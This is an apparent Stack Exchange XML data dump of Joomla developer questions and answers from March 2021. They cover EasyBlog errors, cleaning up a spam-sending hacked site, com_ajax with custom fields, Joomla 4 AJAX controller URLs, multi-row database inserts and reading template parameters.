  <row Id="28918" PostTypeId="1" CreationDate="2021-03-02T10:41:26.600" Score="0" ViewCount="242" Body="&lt;p&gt;I have been trying to add a new &lt;strong&gt;post&lt;/strong&gt; from few days using the EasyBlog component in my Joomla 3.9.24 site, but I am getting anerror after clicking the add new button from the Joolma backend.&lt;/p&gt;&#xA;&lt;p&gt;I can't even edit the existing one!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gAlUJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gAlUJ.png&quot; alt=&quot;error image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried many solutions online, but nothing works! Has anyone else faced this issue? What is the solution for this?&lt;/p&gt;&#xA;" OwnerUserId="14956" LastEditorUserId="12352" LastEditDate="2021-03-02T19:21:04.917" LastActivityDate="2021-03-02T19:21:04.917" Title="An error has occurred. 1062 Duplicate entry '0' for key 'PRIMARY' Return to Control Panel?" Tags="|joomla-3.x|component|articles|joomla-3.9|easyblog|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28920" PostTypeId="1" AcceptedAnswerId="28921" CreationDate="2021-03-02T21:20:34.447" Score="2" ViewCount="148" Body="&lt;p&gt;We got an email from Siteground about a suspicious number of outgoing emails from &lt;code&gt;public_html/index.php&lt;/code&gt;.  They've blocked the site from sending emails.  Which we need to resolve.&lt;/p&gt;&#xA;&lt;p&gt;There is no contact form on the homepage, but I would assume that index.php could also be other pages.  Is this correct or a bad assumption?&lt;/p&gt;&#xA;&lt;p&gt;Is the assumption that it is a contact from is also presumptuous.  Could this be core?&lt;/p&gt;&#xA;&lt;p&gt;I assume this could also be the template?&lt;/p&gt;&#xA;&lt;p&gt;Aside from updating extensions and core.  What's the best way to troubleshoot this so we can get the site sending emails again but without getting the domain blacklisted.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-03-03T11:33:52.707" Title="index.php is sending out a suspicious number of emails" Tags="|emails|hacked|hack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28921" PostTypeId="2" ParentId="28920" CreationDate="2021-03-02T22:24:52.300" Score="6" Body="&lt;p&gt;A few steps I take when troubleshooting these types of things for new clients when they’ve been hacked:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can add your first site free to https:://mysites.guru which will then run an audit on your site and identify which files have potentially been hacked so you can remove malicious code and/or rogue files.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reinstall Joomla via components &amp;gt; joomla update which will restore all of the core files to the latest version.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the index.php file for your templates to see if they have injected/unfamiliar code.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that your extensions are all up to date.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check if any extensions you use are listed on the Vulnerable Extensions List&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are having spam user registrations as part of the symptoms, disable new registrations in the user options if you don’t need that functionality.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If all of the above fails, ask me for other potential techniques to delve a bit further. From experience the issue is picked up by mysites.guru more often than not to give you a starting point to fix it.&lt;/p&gt;&#xA;&lt;p&gt;Consider installing a firewall extension, too, like Akeeba Admin Tools or RS Firewall to keep intruders at bay.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastEditorUserId="12352" LastEditDate="2021-03-03T01:37:23.970" LastActivityDate="2021-03-03T01:37:23.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28922" PostTypeId="1" AcceptedAnswerId="28923" CreationDate="2021-03-03T05:30:21.440" Score="0" ViewCount="113" Body="&lt;p&gt;I'm trying to trigger some actions for example when a content article is saved (using &lt;code&gt;onContentAfterSave&lt;/code&gt;) or when a event from jEvents (&lt;a href=&quot;https://www.jevents.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jevents.net/&lt;/a&gt;) is saved (using &lt;code&gt;onAfterSaveEvent&lt;/code&gt;). The last one is a custom event that is not present on the core Joomla groups.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to create a single plugin that can listen to events of different groups or do I need to create multiple plugins for this purpose?&lt;/p&gt;&#xA;" OwnerUserId="14401" LastActivityDate="2021-07-31T09:07:25.697" Title="Can plugins listen to events in different groups?" Tags="|joomla-3.x|plugin|plugin-events|jevents|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28923" PostTypeId="2" ParentId="28922" CreationDate="2021-03-03T07:41:27.153" Score="2" Body="&lt;p&gt;Yes, as long as the plugin is instantiated. This is done when the plugin group is imported. The common way is to create a plugin in &lt;code&gt;system&lt;/code&gt; group because those are always imported. Beware that plugin execution order depends on group import order. Since system plugins are imported very early, they'll run before any other plugins.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-03-03T07:41:27.153" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28924" PostTypeId="2" ParentId="28920" CreationDate="2021-03-03T11:33:52.707" Score="4" Body="&lt;p&gt;To be clear. index.php RARELY ever sends mail. However a well written application like Joomla routes all requests through a single entry point, index.php&lt;/p&gt;&#xA;&lt;p&gt;Webhosts don't care to understand the basics of web applications to know that simple fact.&lt;/p&gt;&#xA;&lt;p&gt;99% of the recent spam cases I have investigate stem from the fact a Joomla Contact was published, leading to a form being available on the following url:&lt;/p&gt;&#xA;&lt;p&gt;-- /index.php?option=com_contact&amp;amp;view=contact&amp;amp;id=1&lt;/p&gt;&#xA;&lt;p&gt;This has been discussed here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/20865&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/20865&lt;/a&gt; and many other places.&lt;/p&gt;&#xA;&lt;p&gt;The quick fix is to unpublish your Joomla Contacts if not used, or to implement Google reCaptcha&lt;/p&gt;&#xA;&lt;p&gt;Documentation on how to do that is here:&lt;/p&gt;&#xA;&lt;p&gt;-- &lt;a href=&quot;https://docs.joomla.org/J3.x:Google_ReCaptcha&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Google_ReCaptcha&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user239" LastActivityDate="2021-03-03T11:33:52.707" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28925" PostTypeId="1" AcceptedAnswerId="28956" CreationDate="2021-03-03T15:01:33.997" Score="1" ViewCount="51" Body="&lt;p&gt;I try to run a copy of a Joomla website locally using Xampp. I followed&#xA;the restoration workflow in &lt;a href=&quot;https://www.akeeba.com/videos/1212-akeeba-backup/1618-abtc04-restore-site-new-server.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial. Everything works fine except that some images are missing on the page. Interestingly this only happens on Windows machines. On Linux, everything works fine. Anyone with a similar experience?&lt;/p&gt;&#xA;" OwnerUserId="14759" LastActivityDate="2021-03-22T06:19:35.187" Title="Blank Images after Full Site Restoration with Akeeba" Tags="|akeebabackup|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28926" PostTypeId="1" AcceptedAnswerId="28927" CreationDate="2021-03-05T10:45:10.623" Score="1" ViewCount="81" Body="&lt;p&gt;I've created a custom form field for templates, which is meant to handle SCSS compile. In short, I've opened an &lt;a href=&quot;https://github.com/thednp/scss-wasm-compile/issues/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue on Github&lt;/a&gt; where I had a little chat with one of the Joomla devs about wasm compile.&lt;/p&gt;&#xA;&lt;p&gt;Here is a basic structure of my custom field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Joomla\Template\Cassiopeia\Site\Field;&#xA;&#xA;\defined('JPATH_PLATFORM') or die;&#xA;&#xA;class ScssCompileField extends FormField&#xA;{&#xA;    protected $type = 'ScssCompile';&#xA;    protected $template;&#xA;    protected $scssContent = '';&#xA;&#xA;    public function setup(\SimpleXMLElement $element, $value, $group = null)&#xA;    {&#xA;        if (!parent::setup($element, $value, $group))&#xA;        {&#xA;            return false;&#xA;        }&#xA;&#xA;        // this is the template&#xA;        $this-&amp;gt;template = $this-&amp;gt;form-&amp;gt;getValue('template');&#xA;&#xA;        // here are the inputFile and outputFile&#xA;        $this-&amp;gt;inputFile = 'template.scss'; // the path is handled by the resolve&#xA;        $this-&amp;gt;outputFile = JPATH_SITE . '/templates/' . $this-&amp;gt;template . '/css/template.css';&#xA;&#xA;        // here's adding the scripts and such&#xA;        HTMLHelper::_('script', 'templates/' . $this-&amp;gt;template . '/js/system/sass.js');&#xA;        HTMLHelper::_('script', 'templates/' . $this-&amp;gt;template . '/js/system/sass.worker.js');&#xA;        HTMLHelper::_('script', 'templates/' . $this-&amp;gt;template . '/js/system/scss-compile.js', array(), array(&amp;quot;type&amp;quot; =&amp;gt; &amp;quot;module&amp;quot;));&#xA;        return true;&#xA;    }  &#xA;&#xA;    public static function scssResponseAjax(){&#xA;        $this-&amp;gt;concatContent($this-&amp;gt;inputFile);&#xA;        return json_encode($this-&amp;gt;scssContent);&#xA;    }  &#xA;&#xA;    public static function scssWriteAjax($response){&#xA;        if (file_exists($this-&amp;gt;outputFile) &amp;amp;&amp;amp; is_writable($this-&amp;gt;outputFile)) {&#xA;            file_put_contents($this-&amp;gt;outputFile, $response);&#xA;        }&#xA;    }  &#xA;&#xA;    // this is the button the user will interact with&#xA;    protected function getInput(){&#xA;        return '&amp;lt;button id=&amp;quot;compileButton&amp;quot; class=&amp;quot;btn btn-success&amp;quot;&amp;gt;Compile&amp;lt;/button&amp;gt;';&#xA;    }&#xA;&#xA;    // this method will fill the SCSS content&#xA;    protected function concatContent(){}&#xA;&#xA;    // other methods that handle paths resolve and such&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, as the author of the wasm script instructed, I've create a JS module &lt;code&gt;scss-compile.js&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'use strict';&#xA;&#xA;function compileSCSS(){ &#xA;  const compileOps = {&#xA;    style: Sass.style.expanded,&#xA;    precision: -1,&#xA;    comments: false,&#xA;    indent: '  ',&#xA;    linefeed: '\n',&#xA;  };&#xA;&#xA;  // const response = await fetch('com_ajax...', {'GET' ... });&#xA;&#xA;  // compile given SCSS content&#xA;  Sass.compile(response, compileOps, function callback(result) {&#xA;    return result.text&#xA;  });&#xA;}&#xA;&#xA;document.getElementById('compileButton').addEventListener('click', compileSCSS);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I don't know what the &lt;code&gt;await fetch&lt;/code&gt; function looks like and what &lt;code&gt;com_ajax&lt;/code&gt; expects me to pass in to connect to the &lt;code&gt;ScssCompileField&lt;/code&gt; class, nor do I know if my methods which this script is supposed to interact with are correct.&lt;/p&gt;&#xA;&lt;p&gt;After some research, I noticed people mention about the Joomla &lt;code&gt;Input&lt;/code&gt; class with its &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;get&lt;/code&gt; and other methods within &lt;code&gt;com_ajax&lt;/code&gt; context, I wonder if that would be useful for my custom field methods.&lt;/p&gt;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2021-03-05T11:12:23.373" LastActivityDate="2021-03-05T15:04:13.063" Title="Use com_ajax with a custom field" Tags="|javascript|ajax|com-ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28927" PostTypeId="2" ParentId="28926" CreationDate="2021-03-05T15:04:13.063" Score="1" Body="&lt;p&gt;&lt;code&gt;com_ajax&lt;/code&gt; looks for a &lt;code&gt;helper.php&lt;/code&gt; file in your root template directory and then searches for the method inside there, so you firstly need to create a &lt;code&gt;helper.php&lt;/code&gt; with the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class TplCassiopeiaHelper&#xA;{&#xA;    public static function scssResponseAjax()&#xA;    {&#xA;        return file_get_contents(JPATH_SITE . '/templates/cassiopeia/scss/template.scss');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, remove the following line:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_('script', 'templates/' . $this-&amp;gt;template . '/js/system/sass.worker.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in your &lt;code&gt;scss-compile.js&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'use strict';&#xA;&#xA;async function compileSCSS() {&#xA;  const sass = new Sass()&#xA;&#xA;  const compileOps = {&#xA;    style: sass.style.expanded,&#xA;    precision: -1,&#xA;    comments: false,&#xA;    indent: '  ',&#xA;    linefeed: '\n',&#xA;  }&#xA;&#xA;  const response = await fetch('index.php?option=com_ajax&amp;amp;template=cassiopeia&amp;amp;method=scssResponse&amp;amp;format=raw', {&#xA;    method: 'GET',&#xA;    headers: {&#xA;      'Content-Type': 'plan/text',&#xA;    }&#xA;  })&#xA;  const content = await response.text()&#xA;&#xA;  // Log the SCSS&#xA;  console.log(content)&#xA;&#xA;  // Compile&#xA;  sass.compile(content, compileOps, function callback(result) {&#xA;    // Log the CSS&#xA;    console.log(result.text)&#xA;&#xA;    // Now fire another fetch request to send the CSS and save the file in PHP&#xA;  })&#xA;}&#xA;&#xA;document.addEventListener('DOMContentLoaded', () =&amp;gt; {&#xA;  document.getElementById('compileButton').addEventListener('click', compileSCSS)&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-03-05T15:04:13.063" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="28930" PostTypeId="1" CreationDate="2021-03-08T10:59:50.600" Score="2" ViewCount="789" Body="&lt;p&gt;This is my ajax query for calling a task in the controller (it works for Joomla 3 but doesn't work for Joomla 4):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    type: &amp;quot;POST&amp;quot;,&#xA;    url: &amp;quot;index.php?option=com_scrib&amp;amp;task=test&amp;amp;format=raw&amp;quot;,&#xA;    data: { 'forum_Id': forum_Id  },&#xA;    success:function(data)&#xA;    {&#xA;        var opts = $.parseJSON(data);&#xA;        $.each(opts, function(i, d) {&#xA;            $('#jform_category_id').append('&amp;lt;option value=&amp;quot;' + d.id + '&amp;quot;&amp;gt;' + d.name + '&amp;lt;/option&amp;gt;');&#xA;        });&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The location of the controller file in Joomla 3: &lt;code&gt;components/com_scrib/controller.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla 4 has a different file structure. I'm not sure if I'm doing it right.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4: &lt;code&gt;components/com_scrib/src/Controller/DisplayController.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;What the correct url should be in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="14965" LastEditorUserId="12352" LastEditDate="2021-03-08T22:13:41.150" LastActivityDate="2023-01-27T01:02:43.653" Title="What is url for calling task in controller for Joomla 4?" Tags="|component|joomla-api|ajax|joomla-4.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28932" PostTypeId="1" CreationDate="2021-03-09T09:34:44.000" Score="1" ViewCount="58" Body="&lt;p&gt;I want to override the &lt;strong&gt;layouts/joomla/content/intro_image&lt;/strong&gt;, so that the intro image will have a different path than the Joomla original path.&lt;/p&gt;&#xA;&lt;p&gt;More specifically, I want to add &lt;code&gt;thumbnail&lt;/code&gt; to the file path as the directory before the filename and prepend &lt;code&gt;thumbnail_&lt;/code&gt; to the filename.&lt;/p&gt;&#xA;&lt;p&gt;So, an image with the path&#xA;&lt;code&gt;/images/news/football.jpg&lt;/code&gt; would become&#xA;&lt;code&gt;/images/news/thumbnail/thumbnail_football.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The code that shows the image is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $images = json_decode($displayData-&amp;gt;images); ?&amp;gt;&#xA;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro, ENT_COMPAT, 'UTF-8'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="12352" LastEditDate="2021-03-09T21:00:00.603" LastActivityDate="2024-03-24T23:02:45.290" Title="Change image_intro path" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28935" PostTypeId="1" AcceptedAnswerId="28937" CreationDate="2021-03-09T18:18:01.340" Score="1" ViewCount="1642" Body="&lt;p&gt;I am trying to insert post data inside a Joomla table. So within a loop I populate the query with the values of a decoded json  but all the time I get this error: &lt;strong&gt;Column count doesn't match value count at row 1&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $columns = array('column1','column2','column3','column4');&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;foreach($arrayDecodedJson as $key =&amp;gt; $value)&#xA;{&#xA;                &#xA;    $query&#xA;        -&amp;gt;insert($db-&amp;gt;quoteName('#__table_name_'))&#xA;        -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        -&amp;gt;values(implode(',', $db-&amp;gt;quote($value)));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;em&gt;&lt;strong&gt;$value&lt;/strong&gt;&lt;/em&gt; is an array with values I want to insert into the already existed table.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;&lt;strong&gt;$arrayDecodedJson&lt;/strong&gt;&lt;/em&gt; keys and the columns are the same.&lt;/p&gt;&#xA;&lt;p&gt;The data after var_dump($arrayDecodedJson) are like:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;array( 'key1'=&amp;gt;'value1','key2'='value2') , array(&#xA;'key1'=&amp;gt;'value3','key2='value4'),&lt;br /&gt;&#xA;... array( 'key1'=&amp;gt;'valueN','key2'='value'N)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14144" LastEditorUserId="12352" LastEditDate="2021-04-09T07:58:50.077" LastActivityDate="2021-04-09T07:58:50.077" Title="Insert multiple rows into a database table using a loop" Tags="|php|module|json|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28936" PostTypeId="2" ParentId="28935" CreationDate="2021-03-10T09:49:44.083" Score="1" Body="&lt;p&gt;The solution was simple.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put &lt;em&gt;&lt;strong&gt;$query = $db-&amp;gt;getQuery(true);&lt;/strong&gt;&lt;/em&gt;, inside the foreach loop.&lt;/li&gt;&#xA;&lt;li&gt;Make an array in order to put inside the arrays values like :&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$values = array($db-&amp;gt;quote($value['value1']),$db-&amp;gt;quote($value['value2']),$db-&amp;gt;quote($value['value3']),$db-&amp;gt;quote($value['value4'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Then you make the query like so inside the foreach loop:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;              $query&#xA;                  -&amp;gt;insert($db-&amp;gt;quoteName('#__table_name'))&#xA;                  -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;                  -&amp;gt;values(implode(',',$values));&#xA;              $db-&amp;gt;setQuery($query);&#xA;              $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I hope that it will help someone!&lt;/p&gt;&#xA;" OwnerUserId="14144" LastActivityDate="2021-03-10T09:49:44.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28937" PostTypeId="2" ParentId="28935" CreationDate="2021-03-10T14:12:57.220" Score="1" Body="&lt;p&gt;Although the other answer works, it's not very efficient. Instead everything but &lt;code&gt;$query-&amp;gt;values()&lt;/code&gt; call can be done outside the loop. This way multiple rows are inserted with a single database query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__table_name_'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns));&#xA;&#xA;foreach($arrayDecodedJson as $row)&#xA;{&#xA;    $query-&amp;gt;values(implode(',', $db-&amp;gt;quote($row)));&#xA;}&#xA;&#xA;$db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-03-10T14:12:57.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28938" PostTypeId="2" ParentId="28932" CreationDate="2021-03-10T17:56:42.840" Score="0" Body="&lt;p&gt;Create the thumbnail on the fly. You can check for this here: &lt;a href=&quot;https://phproberto.com/es/36-create-thumbnails-on-the-fly-for-joomla-content-articles&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://phproberto.com/es/36-create-thumbnails-on-the-fly-for-joomla-content-articles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8256" LastEditorUserId="8256" LastEditDate="2021-03-10T18:17:21.587" LastActivityDate="2021-03-10T18:17:21.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28940" PostTypeId="1" AcceptedAnswerId="28943" CreationDate="2021-03-12T10:41:45.333" Score="0" ViewCount="183" Body="&lt;p&gt;Previously I was looking into how to get &lt;a href=&quot;https://joomla.stackexchange.com/questions/28874/get-the-template-im-currently-editing&quot;&gt;the template&lt;/a&gt; I'm currently editing, now I need to make use of a &lt;code&gt;templates/templateName/helper.php&lt;/code&gt; file which would need a different kind of request.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// this gets me the template&#xA;$app = Factory::getApplication('site');&#xA;$template = $app-&amp;gt;input-&amp;gt;getValue('template');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I get the params from the input for the known &lt;code&gt;$template&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-03-12T14:07:36.530" Title="Get template params from the input" Tags="|templates|jinput|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28941" PostTypeId="2" ParentId="28930" CreationDate="2021-03-12T12:22:59.943" Score="1" Body="&lt;p&gt;You need to use task=controller.action where controller is whichever controller you want to call less 'Controller' (so MythingController.php contains class MythingController and you use mything in the call) and action is the name of the function to call, so I guess that could be 'test' in your case. My calls don't include type: &amp;quot;POST&amp;quot;, and I don't remember why.&lt;/p&gt;&#xA;&lt;p&gt;The format=raw part looks worrying. You should normally include a form token which can be sent either as a get or post variable. And it is often simple to submit a form in which you first set the form task (hidden) field to the value you want.&lt;/p&gt;&#xA;" OwnerUserId="7428" LastActivityDate="2021-03-12T12:22:59.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28942" PostTypeId="2" ParentId="28940" CreationDate="2021-03-12T13:11:19.153" Score="0" Body="&lt;p&gt;You can do it like this example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;params-&amp;gt;get('sitedescription'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this instance my XML looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;advanced&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;sitedescription&amp;quot;&#xA;                   type=&amp;quot;text&amp;quot;&#xA;                   default=&amp;quot;&amp;quot;&#xA;                   label=&amp;quot;JGLOBAL_DESCRIPTION&amp;quot;&#xA;                   description=&amp;quot;JGLOBAL_SUBHEADING_DESC&amp;quot;&#xA;                   filter=&amp;quot;string&amp;quot;/&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;framework&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;bootstrap4&amp;quot; required=&amp;quot;true&amp;quot; label=&amp;quot;TPL_STARTER_BOOTSTRAP_4_LABEL&amp;quot; description=&amp;quot;TPL_STARTER_BOOTSTRAP_4_DESCRIPTION&amp;quot;&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;TPL_STARTER_BOOTSTRAP_4_DEFAULT_OPTION&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;bootstrap4&amp;quot;&amp;gt;Bootstrap4&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&amp;quot;foundation6&amp;quot;&amp;gt;Foundation 6&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-03-12T13:11:19.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28943" PostTypeId="2" ParentId="28940" CreationDate="2021-03-12T14:07:36.530" Score="1" Body="&lt;p&gt;If you want to access the parameters of a &lt;strong&gt;specific&lt;/strong&gt; template inside the Helper, you could write a small database query, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;class TplCassiopeiaHelper&#xA;{&#xA;    private $params = null;&#xA;&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;params = $this-&amp;gt;getParams();&#xA;&#xA;        // You can now access specific parameters, inside the class, for example:&#xA;        // $this-&amp;gt;params-&amp;gt;get('colorName')&#xA;    }&#xA;&#xA;    protected function getParams()&#xA;    {&#xA;        $db = Factory::getDbo();&#xA;&#xA;        $db-&amp;gt;setQuery(&#xA;            $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select('params')&#xA;                -&amp;gt;from('#__template_styles')&#xA;                -&amp;gt;where('template = ' . $db-&amp;gt;q('cassiopeia'))&#xA;                -&amp;gt;where('client_id = 0')&#xA;        );&#xA;        $registry = new Registry;&#xA;        $registry-&amp;gt;loadString($db-&amp;gt;loadResult());&#xA;&#xA;        return $registry;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or, when you instantiate the helper class, you could pass &lt;code&gt;$this-&amp;gt;params&lt;/code&gt; as a constructor argument.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-03-12T14:07:36.530" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28945" PostTypeId="2" ParentId="27928" CreationDate="2021-03-13T13:39:09.847" Score="0" Body="&lt;p&gt;The problem is that your task must be in the component main controller, I mean the controller.php, not in the send.php controller and then you can use &amp;quot;url: index.php?option=com_gallery&amp;amp;task=submit&amp;amp;view=myview&amp;amp;format=json&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;In your controller function submit(){parent::display();} will be enough. You also need a &amp;quot;myview&amp;quot; view.json.php&lt;/p&gt;&#xA;" OwnerUserId="14988" LastActivityDate="2021-03-13T13:39:09.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28946" PostTypeId="2" ParentId="28524" CreationDate="2021-03-14T17:48:35.467" Score="0" Body="&lt;p&gt;You can use the session as in the following example.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$stateVar = $app-&amp;gt;getUserState( &amp;quot;com_content.articles.filter.category_id&amp;quot;, array() );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Will return an array with the selected categories in the filter or an empty array if the session has not been set.&lt;/p&gt;&#xA;" OwnerUserId="14669" LastEditorUserId="12352" LastEditDate="2021-03-14T23:54:40.277" LastActivityDate="2021-03-14T23:54:40.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
